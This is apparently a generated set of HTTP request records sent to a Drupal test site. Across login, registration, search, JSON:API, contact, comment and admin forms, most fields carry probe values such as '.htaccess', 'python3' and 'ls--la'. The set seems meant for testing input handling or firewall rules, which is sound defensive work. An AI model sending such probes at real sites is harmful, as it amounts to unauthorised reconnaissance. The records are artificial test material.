{"method": "GET", "target": "/fr/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=.htaccess&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \".htaccess\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=.htaccess&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=.htaccess&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GSm8BZcaqC2oMD0ss2FLRrO7emC2Tk555Tl2-yqMDSc&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yF5zyquuedtxdGI3ewxQBnBb1LBkUhTFaEgI7Ecz0gw&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-5bArh5towO4oOBS-LIH1R8r8x_d3EdGh4BjmTmwdEE4&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=.htaccess&body%5B0%5D%5Bvalue%5D=%3Cp%3E.htaccess%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-CwIvpadrxAEPW4KJvATOVvytevY3_g-IzPU78-Abnc4&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=.htaccess&body%5B0%5D%5Bvalue%5D=%3Cp%3E.htaccess%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-ZgRgfU0UomrkDUUeKSF-XFs0OERMNCjqd3ntusnlEJ0&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-TyCu70S2J4pGKbDVvrkOHAUZ4DMIhBioTuPucHezJ4E&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=ls--la%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-RGdB8fxpsJLcBO_bnVSFq_dDSgGp9y4UkvBcULmEA6U&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=.htaccess&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=.htaccess&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-oawiR3_b82FmHmX3iUCg6bbyHUVliOpSnlCbE9gNfQ8&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=.htaccess%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=.htaccess&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \".htaccess\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \".htaccess\", \"description\": {\"value\": \".htaccess\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \".htaccess\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \".htaccess\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \".htaccess\"}}}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=Example-notes%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-OtF19PL07BZ_JRM8b_DdnnEKUnOQajB4f1jQJ23uop0&form_id=comment_comment_form&name=Visitor&mail=Example-notes%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-8R2N1x1pfqcr8GN713kyLpn0b-cTnNVN7ygqRRuLlQk&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-t_j-0Uo-nj9w4F3mal1sdrIJ6nRCz8WRLnWuvc4H7xU&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-eDv1dJ9TeQSCfn_qnOpucL9FZ80CWcj2DqoFZKweo6A&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=Example+notes&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yOLNU6YuuT3aI5dgvD7swHgArKGp4ZnsyTHfxuCE0rE&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254564&form_build_id=form-Gai5cby_kd0hTGnntBqbNd5FaphxmrNhVzXlBr_tW4A&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=python3%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-ehJvk05FGy45Nhp20LoEYUQE7Wt_-2JzRjizP26CgBY&form_id=comment_comment_form&name=Visitor&mail=python3%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-V1VVXP408QEmGCpsAPuR7RrJ0x2qvE8oV4e9lHH3R1U&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-G9_Pxre_HbKdcBQeFuUFlMVddf4PZbL0v0QwFrK_5ec&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=python3&op=Save"}
